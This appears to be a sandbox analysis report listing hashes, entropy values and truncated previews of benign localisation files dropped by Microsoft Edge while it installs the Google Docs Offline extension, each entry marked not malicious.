C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
